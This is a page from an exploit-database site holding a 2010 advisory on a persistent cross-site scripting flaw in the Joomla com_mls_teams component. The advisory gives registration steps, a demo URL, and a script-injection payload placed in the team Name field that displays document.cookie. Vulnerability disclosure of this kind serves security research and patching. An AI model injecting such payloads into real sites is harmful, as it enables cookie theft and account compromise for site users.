0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Joomla Component com_mls_teams Persistent XSS Vulnerability
[=========================================================== Joomla Component com_mls_teams Persistent XSS Vulnerability =========================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ########################################## 1 0 I'm Sid3^effects member from Inj3ct0r Team 1 1 ########################################## 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Name : Joomla com_mls_teams Persistent XSS Vulnerability Date : july 22,2010 Critical Level : HIGH vendor URL :http://www.mylansite.org/ Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com> special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Milw0rm :D greetz to :www.topsecure.net,SeeMe,**RoAd_KiLlEr**,indoushka,Sn!pEr.S!Te All ICW members,my friends,Hack0wn and Milw0rm :D luv y0 guyz ####################################################################################################### Description : This component is part of the mylansite suite of components for LAN party organization, though it can conveniently be used for any type of event. The brand new 2.5.0 version now runs on Joomla! 1.5 in native mode and brings some new features and improves the look and feel in the front end, simplifies tasks in the back end and has improved overall stability. It features possibility for users to write comments and complete reviews of an event. Recently, a brand new totally flexible ticketing system has been added which allows you to publish different tickets at different times (e.g. to give an early bird discount), offer volume discounts, give users to buy more than one ticket and hand them off to one of their friends (using a generated code). You can even pre-define codes if you want to give free admission to people (for example if you do a raffle for free admission). ####################################################################################################### Xploit :Persistent XSS Vulnerability Step 1 : Register :P and add a new team URL :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56&task=new Step 2 : Insert your xss script in the " Name: " option . Attack pattern :"><script>alert(document.cookie)</script>.. Step check your team :D Demo url :http://demo.mylansite.org/index.php?option=com_mls_teams&Itemid=56 Screenshot : http://img838.imageshack.us/img838/424/commlsteams.png ############################################################################################################### # 0day no more # Sid3^effects # 0day.today [2024-11-16] #